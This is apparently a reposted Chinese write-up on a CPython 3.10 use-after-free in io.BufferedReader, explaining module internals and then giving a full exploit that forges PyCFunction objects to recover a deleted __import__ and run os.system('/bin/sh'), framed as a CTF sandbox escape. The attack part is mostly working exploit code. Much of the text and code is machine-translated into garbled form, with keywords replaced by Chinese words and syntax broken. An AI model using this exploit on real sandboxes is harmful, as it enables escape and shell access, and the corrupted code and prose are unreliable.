//3.10.4 //Modules\_io\_iomodule.c PyMODINIT_FUNC PyInit__io ( void ) { 
PyObject * m = PyModule_Create ( & _PyIO_Module );
…… } //Include\modsupport.h #ifdef Py_LIMITED_API #define PyModule_Create(module) \ PyModule_Create2(module, PYTHON_ABI_VERSION) #else #define PyModule_Create(module) \ PyModule_Create2(module, PYTHON_API_VERSION) #endif//Modules\_io\clinic\_iomodule.ch #define _IO_OPEN_METHODDEF \ {"open", (PyCFunction)(void(*)(void))_io_open, METH_FASTCALL|METH_KEYWORDS, _io_open__doc__},//Modules\_io\_iomodule.c static PyMethodDef module_methods [] = {
_IO_OPEN_METHODDEF
_IO_TEXT_ENCODING_METHODDEF
_IO_OPEN_CODE_METHODDEF
{ NULL , NULL } };结构 PyModuleDef _PyIO_Module = {
PyModuleDef_HEAD_INIT ,
"io" ,
module_doc ,
sizeof ( _PyIO_State ),
module_methods ,
NULL ,
iomodule_traverse ,
iomodule_clear ,
( freefunc ) iomodule_free , };

现在来看下具体的功能PyModule_Create2

  • _PyModule_CreateInitialized函数中根据模块名称,使用PyModule_New创建一个模块对象m

  • 调用方法,方法描述为其中的开放PyModule_AddFunctions方法mmodule->m_methods_IO_OPEN_METHODDEF

  • 在函数_add_methods_to_object中会为了包含一个模块的名字,每个PyMethodDef对象PyCFunction_NewEx来创建一个PyCFunctionObject对象,就是_io模块的第2个模块的名字,第3个模块是模块的名字。

//Objects\moduleobject.c PyObject  * PyModule_Create2 ( struct 


    
 PyModuleDef *  module ,  int  module_api_version ) { 
if ( ! _PyImport_IsInitialized ( _PyInterpreterState_GET ())) {
PyErr_SetString ( PyExc_SystemError ,
"Python import Machinery not initialized" );
返回 NULL ;
}
返回 _PyModule_CreateInitialized (模块, module_api_version ); }PyObject * _PyModule_CreateInitialized ( struct PyModuleDef * module , int module_api_version ) {
const char * name ;
PyModuleObject * m ;
.....
名称 = 模块-> m_name
......
if (( m = ( PyModuleObject * ) PyModule_New ( name )) == NULL )
返回 NULL
……
if (模块-> m_methods != NULL ) {
if ( PyModule_AddFunctions (( PyObject * ) m , 模块-> m_methods ) != 0 ) {
Py_DECREF ( m );
返回 NULL ;
}
}
...... }int PyModule_AddFunctions ( PyObject * m , PyMethodDef *函数) {
int res ;
PyObject * name = PyModule_GetNameObject ( m );
if ( name == NULL ) {
return - 1 ;
}
res = _add_methods_to_object ( m , 名称, 函数);
Py_DECREF 名称);
返回 资源}静态 int _add_methods_to_object ( PyObject *模块, PyObject *名称, PyMethodDef *函数) {
PyObject * func ;
PyMethodDef * fdef ;
for ( fdef = functions ; fdef -> ml_name != NULL ; fdef ++ ) {
if (( fdef -> ml_flags & METH_CLASS ) ||
( fdef -> ml_flags & METH_STATIC )) {
PyErr_SetString ( PyExc_ValueError ,
"模块函数无法设置"
" METH_CLASS 或 METH_STATIC" );
返回 - 1 ;
}
func = PyCFunction_NewEx( fdef , ( PyObject * )模块, 名称);
if ( func == NULL ) {
return - 1 ;
}
if ( PyObject_SetAttrString (模块, fdef -> ml_name , func ) != 0 ) {
Py_DECREF ( func );
返回 - 1 ;
}
Py_DECREF (函数);
}
返回 0 ; }

再看下CFunction_NewEx,第二个参数就是SELF给了Py了m_self,所以说open.__self___io模块对象的原因了。




    
//包含\methodobject.h #define PyCFunction_NewEx(ML, SELF, MOD) PyCMethod_New((ML), (SELF), (MOD), NULL)//Objects\methodobject.c PyObject  * PyCMethod_New ( PyMethodDef  * ml ,  PyObject  * self ,  PyObject  * module ,  PyTypeObject  * cls ) { 
/* 找出要使用的正确向量调用函数 */
vectorcallfunc vectorcall ;
开关 ( ml -> ml_flags & ( METH_VARARGS | METH_FASTCALL | METH_NOARGS |
METH_O | METH_KEYWORDS | METH_METHOD))
{
案例 METH_VARARGS
案例 METH_VARARGS | METH_KEYWORDS : /* 对于 METH_VARARGS 函数,使用 tp_call
* 而不是 vectorcall更有效。*/
向量调用 = NULL ;
休息;
case METH_FASTCALL :
vectorcall = cfunction_vectorcall_FASTCALL ;
休息;
案例 METH_FASTCALL | METH_KEYWORDS
vectorcall = cfunction_vectorcall_FASTCALL_KEYWORDS
休息;
案子 METH_NOARGS :
向量调用 = cfunction_vectorcall_NOARGS ;
休息;
case METH_O
vectorcall = cfunction_vectorcall_O
休息;
案例 METH_METHOD | METH_FASTCALL | METH_KEYWORDS
vectorcall = cfunction_vectorcall_FASTCALL_KEYWORDS_METHOD
休息;
默认值
PyErr_Format ( PyExc_SystemError ,
"%s() method: bad call flags" , ml -> ml_name );
返回 NULL ;
}
PyCFunctionObject * op = NULL ;
if ( ml -> ml_flags & METH_METHOD ) {
if ( ! cls ) {
PyErr_SetString ( PyExc_SystemError ,
"尝试使用 METH_METHOD 创建 PyCMethod "
"flag but no class" );
返回 NULL ;
}
PyCMethodObject * om = PyObject_GC_New ( PyCMethodObject , & PyCMethod_Type );
if ( om == NULL ) {
返回 NULL ;
}
Py_INCREF ( cls );
om -> mm_class = cls ;
op = ( PyCFunctionObject * ) om ;
} else {
if ( cls ) {
PyErr_SetString ( PyExc_SystemError ,
"试图用类创建 PyCFunction "
"但没有 METH_METHOD 标志" );
返回 NULL ;
}
op = PyObject_GC_New ( PyCFunctionObject , & PyCFunction_Type );
if ( op == NULL ) {
返回 NULL ;
}
}
操作-> m_weakreflist = NULL
操作-> m_ml = ml
Py_XINCREF (自我);
op -> m_self = self ;
Py_XINCREF (模块);
操作-> m_module = 模块
操作->向量调用 = 向量调用
_PyObject_GC_TRACK (操作);
返回 PyObject * 操作}

0x05 其他思路:进口

在学习彩的过程中,python中自带了__builtins__一个PyModuleObject,而模块的方法,因此通过描述PyModuleObject-> __import__md_def- >m_methods的方法,再找到一个中结构体,利用记忆这个指向方法数据,通过列表对象使用了。__builtins____builtins____import____import__PyCFunctionObject__import__

5.1 寻找import的方法描述

PyModuleObject->d_def->m_methods,可以遍历mPyMethodDef,读取PyMethodDef->ml_name,来判断不是import。(PS:p是原exp中的Exploit对象)

def  find_import_def ( p ):
数据 = p 泄漏( id ( __builtins__ ), 0x40 )
md_def = 数据[ 0x18 : 0x20 ]
md_def_addr = u64 ( md_def )
数据 = p 泄漏( md_def_addr , 0x48 )
m_methods = data [ 0x40 : 0x48 ]
m_methods_addr = u64 ( m_methods )
PyMethodDef_size = 0x20
i = 0
import_PyMethodDef_addr = b ""
while True :
pyMethodDef = p 泄漏( m_methods_addr + i * PyMethodDef_size , 0x20)
ml_name = pyMethodDef [ 0 : 8 ]
ml_name_addr = u64 ( ml_name )
如果 ml_name_addr != 0 :
name = p 泄漏( ml_name_addr , 10 )
如果 name == b '__import__' :
import_PyMethodDef_addr = m_methods_addr + i * PyMethodDef_size
return import_PyMethodDef_addr
else :
break
i = i + 1
返回 import_PyMethodDef_addr

5.2进口方法

ob_type 通过组合方法的类型,id、dir、open、len 都可以找到,m_描述ml的导入方法,self根据彩蛋知道__builtins__对象,其他地址可以为m_获取属性的模块0可以使用。

def  fake_import ( cmd ): 
p = Exploit ()
import_PyMethodDef_addr = find_import_def ( p )
byte_array_obj = flat (
p64 ( 10 ), # refcount
p64 ( id ( type ( len ))), # type obj other func like id、dir、open 、len
p64 ( import_PyMethodDef_addr ), # PyMethodDef *m_ml 0x10
p64 ( id ( __builtins__ )), #PyObject *m_self 0x18
p64 0x0 ), #PyObject *m_module 0x20
p64 0x0 ), #PyObject *m_weakreflist 0x28
p64 0x0 ), #vectorcallfunc vectorcall 0x30

p freed_buffer [ 0 ] = id ( byte_array_obj ) + 32
os = p fake_objs [ 0 ]( "os" )
os 系统( cmd )

5.3 总结

漏洞可能在 CTF 中的 Python 沙箱中,利用该漏洞可以执行命令,但是打开并没有被删除,但打开的方法通常会被删除,这个漏洞实际上是不知道使用该漏洞的方法所以很好方式,所以就当当好玩把。

附上最终的exp

io  = 打开__self__ def  uN ( b ): 
out = 0
for i in range ( len ( b )):
out |= ( b [ i ] & 0xff ) << i * 8
return outdef u64 ( x ):
断言 len ( x ) == 8
返回 uN ( x )def u32 ( x ):
断言 len ( x ) == 4
返回 uN ( x )def u16 ( x ):
断言 len ( x ) == 2
返回 uN ( x )def p64 ( x ):
s = bytearray ()
x > 0 :
s 附加( x & 0xff )
x >>= 8
返回 s ljust ( 8 , b ' \0 ' )def flat ( * args ):
return b '' 加入参数 文件( io . _RawIOBase ):
def readinto ( self , buf ):
全局 视图
view = buf
def readable ( self ):
return True 漏洞利用
def _create_fake_byte_array ( self , addr , size ):
byte_array_obj = flat (
p64 ( 10 ), # refcount
p64 ( id ( bytearray )), # type obj
p64 ( size ), # ob_size
p64 ( size ), # ob_alloc
p64 ( addr ), #ob_bytes
p64 ( addr ), #ob_start
p64 (0x0 ), # ob_exports
)
自我no_gc append ( byte_array_obj ) # 在 return self后停止 gc 释放
释放缓冲区[ 0 ] = id ( byte_array_obj ) + 32
def 泄漏自我 地址 长度):
自我_create_fake_byte_array 地址 长度
返回 自我fake_objs [ 0 ] [ 0 :长度]
def __init__ ( self ):
# 触发 bug
全局 视图
f = io . BufferedReader 文件())
f 阅读( 1 )
del f
视图 = 视图演员表'P'
自我fake_objs = [] * len 视图
自我freed_buffer = 查看
自我no_gc = []def print_hex 数据):
打印十六进制数据))def find_import_def ( p ):
数据 = p 泄漏( id ( __builtins__ ), 0x40 )
md_def = 数据[ 0x18 : 0x20 ]
md_def_addr = u64 ( md_def )
数据 = p 泄漏( md_def_addr , 0x48 )
m_methods = data [ 0x40 : 0x48 ]
m_methods_addr = u64 ( m_methods )
PyMethodDef_size = 0x20
i = 0
import_PyMethodDef_addr = b ""
while True :
pyMethodDef = p 泄漏( m_methods_addr + i * PyMethodDef_size , 0x20)
ml_name = pyMethodDef [ 0 : 8 ]
ml_name_addr = u64 ( ml_name )
如果 ml_name_addr != 0 :
name = p 泄漏( ml_name_addr , 10 )
如果 name == b '__import__' :
import_PyMethodDef_addr = m_methods_addr + i * PyMethodDef_size
return import_PyMethodDef_addr
else :
break
i = i + 1
返回 import_PyMethodDef_addr def fake_import ( cmd ):
p = Exploit ()
import_PyMethodDef_addr = find_import_def ( p )
byte_array_obj = flat (
p64 ( 10 ), # refcount
p64 ( id ( type ( len ))), # type obj other func like id、dir、len
p64 ( import_PyMethodDef_addr ), # PyMethodDef *m_ml 0x10
p64 ( id ( __builtins__ )), #PyObject *m_self 0x18
p64 0x0 ), #PyObject *m_module 0x20
p64 0x0 ), #PyObject *m_weakreflist 0x28
p64 0x0 ), #vectorcallfunc vectorcall 0x30

p freed_buffer [ 0 ] = id ( byte_array_obj ) + 32
os = p fake_objs [ 0 ]( "os" )
os 系统( cmd )删除 __builtins__ __dict__ [ '__import__' ] fake_import ( "/bin/sh" )



源:先知(https://xz.aliyun.com/t/11399#toc-0)

注:如有侵权请联系删除






欢迎大家加群一起讨论学习和交流

快乐要懂得分享,

才能加倍的快乐。


Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/135815
 
162 次点击